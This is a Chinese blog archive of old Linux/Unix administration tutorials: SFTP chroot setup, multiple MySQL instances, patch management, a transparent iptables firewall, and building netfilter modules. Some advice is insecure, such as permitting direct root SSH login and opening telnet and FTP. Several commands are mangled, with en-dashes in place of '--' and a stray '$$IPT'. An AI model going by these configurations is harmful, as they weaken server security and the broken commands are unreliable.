Archive for category 网络和安全

把sftp用户限制在自己的家目录中

  SSH最初是由程序员Tatu Yloenen开发,包括SSH协议和服务软件,英文全称为Secure Shell(即安全外壳)。它实现了密钥交换协议及主机和客户端认证协议,在传送数据时把所有数据都加密传输,在接收方再进行解密,以防止网络窃听的发生。
SSH已经有了很多商品化版本,而且还有多种Unix/Linux系统平台上的免费版本。本文将主要以Linux操作系统为服务器(在其它的Unix或 Unix的派生操作系统上的操作也一样),Windows操作系统为客户端,介绍免费的商业SSH版本的安装及其实现。其重点是Linux服务器的配置。

软件的获得和安装

软件的获得可从http://www.openssh.org下载OpenSSH,当前最新版本为3.6.1,或者从http://www.ssh.com/ 下载针对Linux的非商业版本,当前最新版本为3.2,具体地址为:
SSH服务器地址 http://www.ssh.com/support/downloads/secureshellserver/non-commercial.html
SSH客户端地址 http://www.ssh.com/support/downloads/secureshellwks/non-commercial.html(这是一个For Windows的版本)。
不管是OpenSSh还是SSH Communications Security公司的SSH版本,在使用功能上基本一样,只是前者完全免费,而后者使用时要注意许可协议。从使用角度上可考虑,笔者认为后者更好用一些。本文着重介绍后者的安装和使用。
从SSH Communications Security公司下载的SSH服务器是源代码方式,文件名为ssh-3.2.3.tar.gz,必须对其进行编译和安装之后才能够使用。
我们假设软件的下载目录为root用户的宿主目录,即“/root”目录。解压缩完成后会生成一个“ssh-3.2.3”的源代码目录,然后切换到源代码代码目录,进行软件安装前的配置,编译和安装。
安装成功后,在“/etc/”目录下会增加一个“ssh2”目录,这个目录是用来存放SSH服务器的所有配置文件;在“/usr/local/”目录下会生成“ssh3.2.3”子目录,它是SSH程序文件和其它文件的存放位置。

基本配置和应用

默认安装,每次重新启动系统后都要重复上述操作才能启动SSH服务器。为了保证SSH服务器每次开机时自动启动,还要在“/etc/rc.d/rc.local”文件(此文件类似于DOS下的autoexec.bat文件令)的最后加入以下内容:
#start ssh3.2
/usr/local/ssh2/sbin/sshd &
其中第一行为注释内容,第二行为启动SSH服务器并作为后台守护进程运行。
接下来要做的是配置SSH服务器,所有的配置都是通过修改“/etc/ssh2/sshd2_config”文件实现的。文件的默认配置已经能满足一般的要求。下面介绍几种比较常见的应用:

使超级用户root能够直接登录服务器
使用Telnet时root用户默认情况下不能直接从远程登录系统,一般要先以普通用户登录,然后,使用su切换到root身份,这也是出于安全性的考 虑。由于SSH使用了加密方式传输数据,所以可以放心地直接使用root登录服务器,那么我们需要将sshd2_config文件中的
#PermitRootLogin  yes
取消注释,然后,重新启动SSH服务器,即可通过SSH以root身份登录Linux服务器。当然,如果您要禁止超级用户登录的话,可将“yes”改为“no”即可。

允许或禁止某些用户或组用户使用SSH登录
要实现禁止用户或组使用SSH登录服务器,只需要修改sshd2_config文件中的以下几行内容:
#AllowUsers sj.*,s[[:digit:]]*,s(jl|amza)
#DenyUsers skuuppa,warezdude,31373
#DenyUsers don@untrusted.org
#AllowGroups staff,users
#DenyGroups guest,anonymou
可以根据自己的实际需要,取消注释符“#”,加入实际的用户名或者组名,然后重新启动SSH服务器即可禁止(或允许)某些用户或者组使用SSH,具体操作这里不再详述。

使用SFTP代替FTP传输文件
FTP(文件传输协议)是一种使用非常广泛的在网络中传输文件的方式,但是,它也同样存在被网络窃听的危险,因为它也是以明文传送用户认证信息。 其实在SSH软件包中,已经包含了一个叫作SFTP(Secure FTP)的安全文件传输子系统,SFTP本身没有单独的守护进程,它必须使用sshd守护进程(端口号默认是22)来完成相应的连接操作,所以从某种意义 上来说,SFTP并不像一个服务器程序,而更像是一个客户端程序。SFTP同样是使用加密传输认证信息和传输的数据,所以,使用SFTP是非常安全的。但 是,由于这种传输方式使用了加密/解密技术,所以传输效率比普通的FTP要低得多,如果您对网络安全性要求更高时,可以使用SFTP代替FTP。若要开启 SFTP功能可以修改sshd2_config文件的下列内容:
#   subsystem-sftp  sftp-server
去掉行首的“#”,然后重新启动SSH服务器,这样在进行SSH连接时就可以同时使用SFTP传输文件。

关于客户端设置
以上是对服务器的设置,其实在SSH服务器中已经包含了一些客户端工具(如SSH,SFTP工具)。但是,更多的客户端用户使用Windows系统,下面就对Windows上的客户端系统设置加以说明。
首先从上文给出的网址下载“SSHSecureShellClient-3.2.3.exe”文件并安装。安装完成后,在桌面上会产成两个快捷方 式,一个是“SSH Secure Shell Client”,用于远程管理,另一个是“SSH Secure File Transfer Client”,用于和服务器进行文件传输。在工具栏中点击“quick connnect”,输入正确的主机名和用户名,然后在弹出的对话框中输入密码完成登录,即可开始执行命令或者传输文件。在使用SFTP时,默认只能显示 用户的宿主目录的内容和非隐藏文件。但是,有时候您可能还要查看其它目录或者隐藏文件,这时只需要在菜单“eidt->setting-> file transfer”的选项中选中“show root directory”和“show hidden file”两个选项即可。

使普通用户仅使用SFTP而没有使用Shell的权限
默认情况下管理员给系统添加的账号将同时具有SFTP和SSH的权限。让普通用户使用shell执行命令也是有很大的安全隐患的,如果能够禁止用户使用shell执行命令而仅使用SFTP传输文件,就能消除这种安全隐患,完全实现FTP的功能,
正如上文所述,SFTP没有单独的守护进程,只能借助于sshd守护进程,所以我们仍然需要使用SSH服务器,要保证sshd守护进程处于运行状态。具体实现方法如下:
首先,在编译安装时,编译中一定要有“–enable-static” 选项。安装成功后,在安装目录下的bin目录中执行下面的命令:
[root@localhost bin]#  ls  -l  ssh-dummy-shell*  sftp-server2*
将看到下列输出内容:
-rwxr-xr-x    1 root root 1350417 Apr 28 16:30 sftp-server2
-rwxr-xr-x    1 root root 3566890 Apr 28 16:30 sftp-server2.static
-rwxr-xr-x    1 root root 72388 Apr 28 16:30 ssh-dummy-shell
-rwxr-xr-x    1 root root 1813412 Apr 28 16:30 ssh-dummy-shell.static
其中带“static”后缀名,且比较大的两个文件就是加上“–enable-static”选项后生成的,后面我们将用到这里两个文件。
下面以添加普通账号test为例讲述具体操作步骤。
1.在“/home”目录(或者将要存放普通用户宿主目录的目录)下创建“bin”子目录,并将两个static文件复制到此目录下(复制后改名去掉static后缀),执行如下命令:
[root@localhost bin]# cd /usr/local/ssh3.2/bin
[root@localhost bin]#cp ssh-dummy-shell.static  /home/bin/ssh-dummy-shell
[root@localhost bin]# cp sftp-server2.static /home/bin/sftp-server
[root@localhost bin]#chown  -R  root.root  /home/bin
[root@localhost bin]#chmod  -R  755  /home/bin
2.添加一个组,使以后所有禁止使用shell的用户都属于这个组,这样便于管理更多的用户:
[root@localhost bin]#groupadd  template
3.在添加系统账号时使用如下命令:
[root@localhost root]#useradd -s /bin/ssh-dummy-shell -g template test
[root@localhost root]#passwd test
[root@localhost root]#mkdir /home/test/bin
[root@localhost root]#cd /home/test/bin
[root@localhost bin]#ln /home/bin/ssh-dummy-shell ssh-dummy-shell
[root@localhost bin]#ln /home/bin/sftp-server sftp-server
[root@localhost bin]#chown  -R  root.root  /home/test/bin
[root@localhost bin]#chmod  -R  755  /home/test/bin
3.用户添加成功后,还需要修改/etc/ssh2/sshd2_config文件,将下列内容:
#ChRootGroups  sftp,guest
改为:
ChRootGroups  sftp,guest,template
修改上面这行内容,主要是为了禁止普通用户查看系统的其它目录,把其权限限制在自己的主目录下。重新启动SSH服务器程序,在客户端使用SSH Secure File Transfer Client登录,即使选择显示根目录,普通用户也看不到其它的任何目录,而是把自己的主目录当作根目录。注意,这里使用的是按用户所属组限制,这样可以 使包含在template组内的所有用户都可以实现此功能。若您只要限制个别用户的话,可以修改下面的内容:
#ChRootUsers  anonymous,ftp,guest

, ,

No Comments

启动多个mysqld

为达到启动多个mysqld服务,只要启动时使用不同pid-file,datadir,socket,port是完全的可行。

步骤:
1、准备目录
mkdir /mysql1
chown mysql:mysql /mysql1
chmod 755 mysql /mysql1
2、准备新的服务要读取的数据库
cp /path/to/mysql/var /mysql1
3、创建mysqld启动脚本
#start_msyql
#!/bin/sh
rundir="$1"
port="$2"
echo "$rundir"
/www/mysql/bin/safe_mysqld –user=mysql –pid-file="$rundir"/mysql.pid 

–datadir="$rundir"/var -O max_connections=500 -O wait_timeout=600 -O key_buffer=32M 

–port="$port" –socket="$rundir"/mysql.sock &
说明:
脚本使用方法./start_mysql /mysql1 3307
./start_mysql dir port
dir:指的是mysql数据库及运行时产生的文件所在目录
port:指新的mysqld监听的端口

4、创建mysqld的停止脚本
#stop_mysql
#!/bin/sh
rundir="$1"
echo "$rundir"
/www/mysql/bin/mysqladmin -u root -p -S"$rundir"/mysql.sock shutdown

No Comments

企业的漏洞修补管理(首部曲)

按:本文转自www.tomshardware.com



简介

现今似乎到处都有人都在发展跳舞艺术(语带双关:写臭虫程序)。不是的,我们不是以在80年代发明的高难度霹雳舞来做比喻, 而是说一小段撰写的程序代码,目的为用来尽可能感染易受影响的计算机。当许多IT专家刚清除完Zotob臭虫程序时,我们觉得这是绝佳时机来反映出每个系 统与网管人员长久以来的心声,那就是:漏洞修补管理。

对许多IT团队来说,漏洞修补管理仍是相当新颖的概念。直到前年,当MS Blaster臭虫程序对无防备的系统带来浩劫,因此很多团队才开始考虑修补策略。Blaster利用Windows系统的远程过程调用(remote procedure call;RPC)弱点,让臭虫程序如野火般迅速扩散…在全球感染超过了800万部PC。这重创了许多公司数个星期,那时候修正套件与修正程序都很迅速地 测试与套用,不过一般来说还是用手动下载来安装。

每个人都听过「时间是至关重要的」这句话,这也一定能适用于漏洞修补管理的领域。微软的安全性警告发表与臭虫程序的开始散布的时间差,说明了威胁正步步进逼。以下说明了这个倾向:

• MS Blaster Worm (2003):在微软的安全性警告发表后约1个月出现。

• Sasser Worm (2004):在微软的安全性警告发表后约2个星期出现。

• Zotob Worm (2005):在微软的安全性警告发表后约1个星期出现。

对大部分公司来说旧式的病毒不会是前三大威胁。

这些缩短的时间表让IT专家感受到很大的压力,而必须确定所掌握的工具与处理程序能快速修补工作站与服务器的漏洞。这篇报导 的目的是要来了解:1. 尝试于企业级环境中套用安全性修正程序与软件更新时所可能发生的常见问题。2. 这些修正与更新程序如何利用技术或手动安装程序来达到漏洞修补管理的目的。在之后接下来的报导中,我们将分析数种市场上的漏洞修补管理解决方案,这些都是 你的公司会感兴趣使用的。

待解决的常见问题

在企业级环境中,有数个问题对应用程序的安全性修正程序来说是必须要解决的。这些问题一般能透过自动更新工具或手动安装程序来达成。让我们来浏览一些常见问题。

修正远程客户端

当你的公司必须处理很多透过拨接或VPN服务来存取网络的远程客户端时,如何修正这些远程客户端便是一个问题。这要视微软(或其它厂商)在每个月发布多少修正程序而定,你可能必须套用数个好几MB的修正程序在连接于低速网络的计算机。

就衡量面的技术问题来说,数种漏洞修补管理工具能控制幕后智能型传送服务(BITS)不必立即占用所有可用频宽,就能够「分散提供」修正程序给远程客户端。

假如上述方式无法达成,这里你还有数个手动安装程序可用。某些公司每个月还在制作CD,并透过速度上慢很多的传统邮寄方式发送给远程客户端。每个月的安全性修正程序会「很专业地」全部集中,让没有本端管理者权限的使用者能安装这些安全性修正程序。

修正已关机的工作站

如果硬件支持,请启用网络唤醒(WOL)并用于漏洞修补管理。

假如有人休假而且已将工作站关机,这样IT如何使用自动更新工具来修正工作站?许多人可能会告诉你这没关系。当使用者返回工 住岗位并开启服务器电源,登入之后,只要使用了漏洞修补管理工具,系统会从中收到修正程序。但这同时也不一定正确无误,因为通常修正程序安装速度不够快。 假如在网络中你有活动中的臭虫程序感染风险,当计算机网络卡开始作用时,系统很有可能被感染。

最好的方法是使用网络唤醒来实时修正工作站。数种漏洞修补管理应用程序让你能远程开启工作站电源,来特别安装安全性修正程序。这是所有可能性中更好的方式。

常替换或重新用影像文件安装的工作站

每当部署新计算机或需要重新组装现有计算机时,安装全新的操作系统是很没效率的。基于这个理由,大多数的大型IT团队使用类 似使用Norton的GHOST应用程序,建立标准桌上型计算机与服务器影像文件。很重要的是这些影像文件至少基于每一季更新一次,来包含自从上次建立影 像文件后,尚未涵盖之软件厂商新发布的安全性修正程序。

何故?当工作站重新用影像文件安装或替换,多数的自动漏洞修补管理解决方案会安装任何未安装的套件(安全性或其它的),而这 套件是被视为强制底线的一部份。如果你有一年期的主动安全性修正程序安装,在新增新计算机时,安全性修正程序会立即(或在短时间内)执行所有的安装,并执 行多次重开机。在最坏的情况下,这会打乱或困扰使用者,而因此会寻求不必要的客户支持服务。至少这会减缓IT成员设定新计算机的处理程序。当新的安全性修 正程序增加到影像文件中时,这些安全性修正程序部署在你的漏洞修补管理应用程序可以被取消作用,或从强制底线移除。

代理程序vs.无代理程序

提到究竟什么漏洞修补管理解决方案最适合你的公司时,「代理程序vs.无代理程序」将会是你必须回答的问题之一。使用代理程 序的解决方案需要部分软件安装于每一个受管理的工作站与服务器。这软件会定期返回与中央服务器沟通,提供关于有问题计算机的信息,并寻找新的作业,例如: 待部署的修正程序。无代理程序的解决方案不需要这客户端软件;这些解决方案会藉由使用标准的Windows通讯协议来扫瞄网络,找到工作站与服务器。

每个解决方案都有利弊。一般对无代理程序解决方案的争论是:不需要别的应用程序在背景执行来使用许多资源(内存与处理器时 间)。当硬件价格随时间降低与内存随计算机贩卖,这将不会是问题。基于代理程序解决方案的另一个问题是:将代理程序软件安装在世界各地的数以千计的服务器 上比你想象的更困难。尤其当你有大部分的客户端是使用拨接或VPN服务来连接到网络时,更是如此困难。假如这样,IT客户支持成员可能需要采取偷偷安装代 理程序软件的方式。

无代理程序的解决方案本身也有问题。前提是这些解决方案常使用标准Windows通讯协议,例如:NetBIOS,来扫瞄网 络,这就会有机会无法找到每一台需要受管理的工作站与服务器。当某些公司不想被使用高权限层次账号登入扫瞄主控台时,为了怕有风险,也许就有需要凭证的问 题。当无代理程序的解决方案一般会比基于代理程序的产品使用较多的频宽时,对频宽与价格有相关的取决较苛求的公司,可能避免选择无代理程序的解决方案。

当做这样的决定时,记得要将你的环境特性考虑进去。假如你有广布的基础架构,有大部分的远程客户端需要被修正,那么基于代理程序的解决方案应该会较适合。假如你的公司只特定在一个实体位置与局域网络(LAN),那么无代理程序的解决方案应该是最适合。

结论

臭虫程序感染若要完全消除,会花费一家公司数百万美元(数千万到数亿新台币)。就其本身而论,在适当的地方拥有有效的漏洞修 补管理策略是不可或少的。臭虫程序与病毒活动在过去数年增加是已知的,所以很明确的是安全性修正程序必须以实时的方式被测试与套用。不管你的网络安全防护 多牢靠,恶意程序代码仍然能找到网络漏洞。

下一次的漏洞修补管理系列安装不久又要发布了。它会涵盖特定可用于提供漏洞分析与部署安全性修正程序的解决方案。

1 Comment

配置linux的防火墙

一般而言,防火墙的两个网络接口应分属两个不同的网络,根据系统管理员定义的访问规则 在两个接口之间转发数据包,或者拒绝、丢弃数据包。实际上,防火墙不单单是访问控制的功能,而且还充当了路由器的角色。当然,这并非有什么不妥当的地方, 但是当你企图把你配置好的linux防 火墙放入运行网络,来保护现有系统安全的时候,你不得不重新考虑和更改你的网络架构。另外一个可能的麻烦是,当防火 墙发生意外时,如果没有防火墙的硬件备份的话,那么你将面临巨大的心理压力,因为防火墙的故障,整个网络瘫痪了。假如你把防火墙配置成透明模式(可称为伪 网桥),就无需更改网络架构,即使是防火墙不能工作了,要做的仅仅是拔出网线,把网线直接插在路由器的内部接口就可以让网络正常工作,然后你就有时间慢慢 恢复发生故障的防火墙。

  好了,既然透明防火墙有那么多方便,我们赶快动手来配置吧!准备一台pc机,两块网 卡(建议用3com网卡),网线若干,redhat linux 9安装盘一套。打开机箱,把两块网卡插入计算机的pci插槽,用网线把计算机分别与网关和交换机相连(如前页图正常状态那样);盖上计算机的盖子,插 上电源,开机。在光驱里放上Linux 9安装光盘,由光盘引导计算机,从而安装Linux 系统。选择定制安装,不要保守,多花一点时间体验一下图形界面的安装乐趣,取消防火墙(no firewall),在安装快结束时选择以文本方式登录系统,完成安装。

  透明防火墙功能配置:

  1、设置网络地址。修改文件 /etc/sysconfig/network-scripts/ifcfg-eth0 /etc/sysconfig/network-scripts/ifcfg-eth1,使其具有相同的ip地址,相同的子网掩码。

  用vi 来编辑如下,保存文件,运行命令 service network restart 使修改生效。

DEVICE=eth0
BOOTPROTO=none
BROADCAST=192.168.1.255
IPADDR=192.168.1.254
NETMASK=255.255.255.0
NETWORK=192.168.1.0
ONBOOT=yes
USERCTL=no
PEERDNS=no
TYPE=Ethernet DEVICE=eth1
BOOTPROTO=none
BROADCAST=192.168.1.255
IPADDR=192.168.1.254
NETMASK=255.255.255.0
NETWORK=192.168.1.0
ONBOOT=yes
USERCTL=no
PEERDNS=no
TYPE=Ethernet

  这里需要注意两个地方,第一个是要区分清楚那一个网卡是eth0,那一个是 eth1.这个问题十分关键,如果搞混了就会导致防火墙不能连通网络。至于怎样区分eth0 eth1,我将在文章的末尾作简单的描述。在这里假定与路由器相连的网卡是eth0.

  2、设置默认路由。在文件 /etc/sysconfig/network-scripts/ifcfg-eth0 中加入一行 gateway=192.168.1.1 保存后运行命令 service network restart ,修改生效。找一个开放ICMP协议的公网IP,用命令ping 202.108.36.196 www.163.com 的主机)检测跟外网的连通状况,如果正常,表明Linux防火墙主机跟外网配置正确。再用命令ping 192.168.1.18 检测防火墙主机与内网主机的连通状况,如果正常则进行下一步操作。

  3、启用网络转发和proxy_arp 。这是透明防火墙的核心部分,我把它们写进文件/etc/rc.d/rc.local。用vi /etc/rc.d/rc.local 插入如下内容。

#Ip forward
/sbin/sysctl -w net.ipv4.conf.all.forwarding=1

#Enable proxy-arp
/sbin/sysctl -w net.ipv4.conf.eth0.proxy_arp=1
/sbin/sysctl -w net.ipv4.conf.eth1.proxy_arp=1

  在做这一步的时候,我曾经花费较多的时间,因为我做参考的那本书里的这一步没有参数 “–w” ,后来单独运行 sysctl net.ipv4.conf.eth0.proxy_arp=1 才发现red hat Linux 9 没有参数“-w”不能运行。

  4、 指定路由。由于两块网卡(eth0eth1)使用同样的ip ,如果不专门指定转发路径,一定会导致路由混乱,从而使防火墙以内的计算机没法访问 Internet 。还是用命令 vi 修改文件 /etc/rc.d/rc.local ,插入如下几行。

#Define route
/sbin/ip route del 192.168.1.0/24 dev eth0
/sbin/ip route add 192.168.1.1 dev eth0
/sbin/ip route add 192.168.1.0/24 dev eth1

  保存文件,重新启动计算机/Linux防火墙,如果不出意外,就可以从 192.168.1.18 这台主机访问Internet,当然内网的任何机器都是可以访问Internet 的。在这里对定义的路由(Define route)作些说明:/sbin/ip route del 192.168.1.0/24 dev eth0 表明所有到子网192.168.1.0/24的数据包都不从网卡eth0转发而从 eth1转发,即命令 /sbin/ip route add 192.168.1.0/24 dev eth1/sbin/ip route add 192.168.1.1 dev eth0 表明所有到192.168.1.1的数据包都由eth0转发,这其实可以理解为两个网卡数据转发的分工192.168.1.1 的数据包由eth0负责,其余的由eth1负责。到这一步,恭喜你!已经成功了一大半,如果安装Linux的时候,选择的防火墙规则为中等级别,那么这个 防火墙已经配置成功了。相信大家跟我一样,且肯就此罢休。

  定制防火墙策略

  都是2.4.20的内核版本,当然要用netfilter/iptables。由于安装Linux系统的时候,选择了无防火墙这个选项,那么在/etc/sysconfig 下将没有iptables这个文件存在。还是让我们随心所欲的来定制防火墙访问策略吧。

  在目录 /etc/rc.d 下创建脚本文件 myfirewall.sh,用命令 touch /etc/rc.d/myfirewall.sh并给文件执行权限 chmod 711 myfirewall。然后用 vi 编辑这个文件。

vi /etc/rc.d/myfirewall.sh
#!/bin/bash
#Define string
IPT=/sbin/iptables

#Refresh rules
$IPT -F FORWARD
$IPT -F INPUT
$IPT -F OUTPUT

#Default policy
$IPT -P INPUT DROP
$IPT -P FORWARD DROP
$IPT -P OUTPUT ACCEPT

#Enable loopback
$IPT -A INPUT -i lo -p all -j ACCEPT

#Enable icmp
$IPT -A INPUT -p icmp –j ACCEPT

#Interface forward
$IPT -A FORWARD -s 192.168.1.0/24 -j ACCEPT
$IPT -A FORWARD -d 192.168.1.0/24 -j ACCEPT

#Enable ssh
$IPT -A INPUT -p tcp –dport 22 -j ACCEPT

#Add other access rule //可根据实际情况添加或减少规则
$IPT -A INPUT -p tcp –dport 20 -j ACCEPT
$IPT -A INPUT -p tcp –dport 21 -j ACCEPT
$IPT -A INPUT -p tcp –dport 80 -j ACCEPT
$IPT -A INPUT -p tcp –dport 53 -j ACCEPT
$$IPT -A INPUT -p udp –dport 53 -j ACCEPT
$IPT -A INPUT -p tcp –dport 23 -j ACCEPT
$IPT -A INPUT -p tcp –dport 110 -j ACCEPT
$IPT -A INPUT -p tcp –dport 25 -j ACCEPT
$IPT -A INPUT -p tcp –dport 443 -j ACCEPT

  我写的这个规则只开放了较少的允许访问的策略(可以ping ,收发邮件,浏览网页,sshhttpstelnetftp,其它的访问则全部丢弃)。$IPT –A OUTPUT ACCEPT 没有设置成DROP的原因是由于大部分网络服务所使用的协议是tcp协议,众所周知,tcp协议是面向连接的,如果设置 $IPT –A OUTPUT DROP, 那么任何协议为tcp的连接就要写两条了。况且防火墙对外的访问总是允许的,因此这样做是为了简化规则。

  修改完成后保存,然后在当前目录运行命令 ./myfirewall.sh,在上述脚本没有书写错误的情况下,规则生效,但它仅仅在内存里,用命令 service iptables save 将自动生成文件 /etc/sysconfig/iptables,前面设定的访问策略就被保存到硬盘,系统重启时,系统将自动地从文件 /etc/sysconfig/iptables 获得定制的访问策略。

  到这里,一个透明的linux 防火墙就架设好了。更改计算机的BIOS设置,使它可以在没有键盘的情况下启动系统。启用ftp,以便可以在需要时可以向防火墙主机拷贝文件。把键盘和显示器拿掉,剩下的操作只是摁一下电源开关。

  防火墙的管理

  可能有时候我们需要更改防火墙的某些规则,或者做些别的管理,既然我们是系统管理 员,再插上键盘和接上显示器坐在防火墙面前可能会被人耻笑,因此这些管理工作当然通过网络来进行。Sshwebmin是我的偏好,ssh的协议端口是 22webmin的默认协议端口是10000。其中sshlinux系统的默认服务 ,只要安装客户端就可以(windows下的程序securecrt 是个不错的选择,据说ssh连接速度没有vnc 快)对防火墙进行所有的管理(和直接操作防火墙主机一样);webmin是基于web的图形界面管理方式,非常的方便和直观,尽管它不能象ssh那样对系 统进行完全的管理,但是对于我们的工作需求还是可以满足,建议在防火墙系统安装webmin服务器程序。Sshwebmin两者结合使用,可以帮助我们 较快较深入地掌握Linux

  Ssh客户端安装较为简单,而webmin不需要安装客户端。这里介绍webmin 服务器的安装:把webmin-1.110. tar.gz 下载到另外一台windows的硬盘里,然后用ftp把它复制到防火墙主机的ftp目录(如果你是linux高手,并不需要如此,只须以ssh方式登录防 火墙,用get/wget指令取得该文件),解开文件webmin-1.110.tar.gz tar –zxvf webmin-1.110.gz.tzr cd webmin-1.110 安装webmin ./setup.sh ,一路回车,创建一个webmin管理账户,安装完毕;在任何一台运行浏览器的地址栏输入防火墙的ip加上端口号10000就可以管理防火墙(http: //192.168.1.254:10000)

  以这种方式管理linux 网络的防火墙十分直观,并且选项十分详尽,就算不懂iptable语法的人也能容易的配置防火墙的访问规则。这里有一个技巧,假如你更改了某条访问规则导 致网络不能向外访问,不要慌,到防火墙跟前重启一下系统即可。万一更改规则发生不测并且规则已经写入硬盘,那么请你直接删除文件 /etc/sysconfig/iptables,然后再运行脚本 sh /etc/rc.d/myfirewall 再次重写文件/etc/sysconfig/iptables service iptables save 。有的系统管理员倾向于直接编辑/etc/sysconfig/iptables 文件,但是这需要更多的耐心和勇气。如果你是新手,建议你跟我一样,先写脚本,再生成iptables

  特别关注:

  最好把除路由器而外的整个网络放在防火墙的保护之中。如果象下图那样有同一

  网段的主机放在防火墙的前面,将导致严重的网络故障。实践表明,这台windows 主机的ip地址丢失了(网络属性的ip值还在,但用命令 ipconfig /all 则是 0.0.0.0),重启windows后提示ip地址冲突,更换同一网段内的任何一个未用的ip地址还是提示冲突。搞的我的两台邮件服务器和两台web服 务器停火,我还以为是中了邪门的病毒,直到后来我把tcp/ip协议卸载再安装才解决问题。经分析,是防火墙的路由导致这样的故障。强烈建议把所有的主机 放在防火墙的保护之下,以减少网络的复杂程度。另外,我们应该养成这样一种习惯在系统正常的情况下,如果更改了配置,请一定要用笔记录所作的更改,以便 在改出问题时我们能够快速准确的恢复,这种习惯更可运用到所有的IT管理工作,它是我的不传之密。

  附:区分eth0eth1的小技巧。把防火墙的一块网卡跟交换机相连,另外一块不 做任何连接,即另外一块网卡的网络连接是断开的;使用命令 ifconfig eth0 down 关闭网络接口eth0;用网络中的另一台计算机 ping 192.168.1.254 ,如果ping 通了则表明连接交换机的网络接口为eth1,另一块为eth0,还可以把网线交换一下另一网络接口,确认判断的正确性。

,

No Comments

在2.6内核下不编译内核给iptables添加模块

虽然是个不错的方法,而且进行的非常成功,但总觉得有点绕道的感觉,毕竟编译新的内核花费不了太多的时间。主要供不能重启的服务器作参考。

1,安装kernel源码
[root@jiecho]# yum install kernel-source

2,下载iptables-1.3.3.tar.bz2和patch-o-matic-ng-20050810.tar.bz2并解包,为了方便,我们都放在/usr/src下,
并把kernel和iptables做符号链接.
[root@jiecho]# cd /usr/src
[root@jiecho]# wget ftp://ftp.be.netfilter.org/pub/netfilter/iptables/iptables-1.3.3.tar.bz2
[root@jiecho]# wget ftp://ftp.be.netfilter.org/pub/netfilter/patch-o-matic-ng/snapshot/
patch-o-matic-ng-20050810.tar.bz2
[root@jiecho]# tar -jxvf iptables-1.3.3.tar.bz2
[root@jiecho]# tar -jxvf patch-o-matic-ng-20050810.tar.bz2
[root@jiecho]# ln -s linux-2.6.5-1.358 linux
[root@jiecho]# ln -s iptables-1.3.3 iptables

3,给netfilter打补丁,选择你要的模块,为了测试我就选择了ipp2p和time
[root@jiecho]# cd /usr/src/linux
[root@jiecho]# make mrproper
[root@jiecho]# make menuconfig
什么不做,保存退出,然后把Makefile改一下
[root@jiecho]# vi Makefile
把EXTRAVERSION = -1.358custom更改为EXTRAVERSION = -1.358
保持跟uname -a 的版本一致(可详细参考platinum兄弟的文章)
[root@jiecho]# cd /usr/src/patch-o-matic-ng-20050810
[root@jiecho]# ./runme ipp2p
[root@jiecho]# ./runme time
因为事先做好了符号链接,等问你kernel和iptables的位置的时候直接回车就行,
提示你是否添加ipp2p和time模块是就y确定,至此,netfilter的补丁打完了,如果你需要别的模块可以根据需要加上.

4,编译kernel的modules
[root@jiecho]# cd /usr/src/linux
[root@jiecho]# make menuconfig
在Device Drivers->Networking support->Networking options->Network packet filtering (replaces ipchains)
->IP: Netfilter Configuration中把下面的两项M选中.
TIME match support
IPP2P match support
然后保存退出
4,编译安装模块
下面就是最重要的步骤了,因为我们的原则是节省时间,不重新编译内核,而只编译其中的模块,
这点2.4的内核跟2.6的内核有所不同,郁闷了我一整天,2.4内核的模块是以*.o形式的,而2.6内核是以*.ko形式的,
这有个改变的方法,参考:http://blog.chinaunix.net/article.php?articleId=40742&blogId=2662
[root@jiecho]# make modules
HOSTCC scripts/basic/fixdep
HOSTCC scripts/basic/split-include
HOSTCC scripts/basic/docproc
HOSTCC scripts/conmakehash
HOSTCC scripts/kallsyms
CC scripts/empty.o
HOSTCC scripts/mk_elfconfig
MKELF scripts/elfconfig.h
HOSTCC scripts/file2alias.o
HOSTCC scripts/modpost.o
HOSTCC scripts/sumversion.o
HOSTLD scripts/modpost
HOSTCC scripts/pnmtologo
HOSTCC scripts/bin2c
到这里就可以ctrl+c中止了,因为我们不是要编译所有的模块,这样太浪费时间,而仅仅是netfilter的模块,
但是如果你直接执行make modules SUBDIRS=net/ipv4/netfilter就会出错,这就是2.4和2.6的区别,
我们先生成了scripts目录下的一系列需要的文件后就可以make modules SUBDIRS=net/ipv4/netfilter,
并用modpost等等把*.o文件生成为*.ko文件.
[root@jiecho]# make modules SUBDIRS=net/ipv4/netfilter
编译完成netfilter的模块后拷贝编译完成的模块
[root@jiecho]# cp /usr/src/linux/net/ipv4/netfilter/ipt_ipp2p.ko /lib/modules/2.6.5-1.358/kernel/net/ipv4/netfilter/
[root@jiecho]# cp /usr/src/linux/net/ipv4/netfilter/ipt_time.ko /lib/modules/2.6.5-1.358/kernel/net/ipv4/netfilter/
[root@jiecho]# chmod +x /lib/modules/2.6.5-1.358/kernel/net/ipv4/netfilter/ipt_ipp2p.ko
[root@jiecho]# chmod +x /lib/modules/2.6.5-1.358/kernel/net/ipv4/netfilter/ipt_time.ko
[root@jiecho]# depmod -a
5,编译iptables
[root@jiecho]# cd /usr/src/iptables
参照INSTALL文件我们进行编译安装
[root@jiecho]# make KERNEL_DIR=/usr/src/linux
会有错误编译不过
/usr/src/linux/include/linux/config.h:6:2: [root@jiecho]#error including kernel header in userspace; use the glibc headers instead!
我google了半天也没有找到是什么原因,就自己动手解决
[root@jiecho]# vi /usr/src/linux/include/linux/config.h把下面的三行注释掉
//#ifndef __KERNEL__
//#error including kernel header in userspace; use the glibc headers instead!
//#endif

然后重新编译安装
make KERNEL_DIR=/usr/src/linux
make install KERNEL_DIR=/usr/src/linux
完成安装以后测试一下
[root@jiecho]# iptables -V
[root@jiecho]# modprobe ipt_time
[root@jiecho]# modprobe ipt_ipp2p
[root@jiecho]# lsmod
ipt_time 2432 0
ipt_ipp2p 7552 0
ipt_REJECT 4736 1
ipt_state 1536 1
ip_conntrack 24968 1 ipt_state
iptable_filter 2048 1
ip_tables 13440 5 ipt_time,ipt_ipp2p,ipt_REJECT,ipt_state,iptable_filter
battery 6924 0
ipv6 184288 10
3c59x 30376 0
binfmt_misc 7176 1
nls_utf8 1536 4
ntfs 81516 4
dm_mod 33184 0
uhci_hcd 23708 0
button 4504 0
asus_acpi 8472 0
ac 3340 0
ext3 102376 4
jbd 40216 1 ext3
测试iptables
[root@jiecho]# iptables -A FORWARD -m ipp2p –edk –kazaa –bit -j DROP
[root@jiecho]# iptables -A INPUT -m time –timestart 8:00 –timestop 18:00 –days Mon,Tue,Wed,Thu,Fri
[root@jiecho]# iptalbes -L

,

No Comments

用FreeBSD建立安全网关

 
由于本人曾使用过FreeBSD,感觉这个系统还可以—曾用其作服务器,连续运行几个月都没有出过问题,所以打算用FreeBSD来做安全网关。
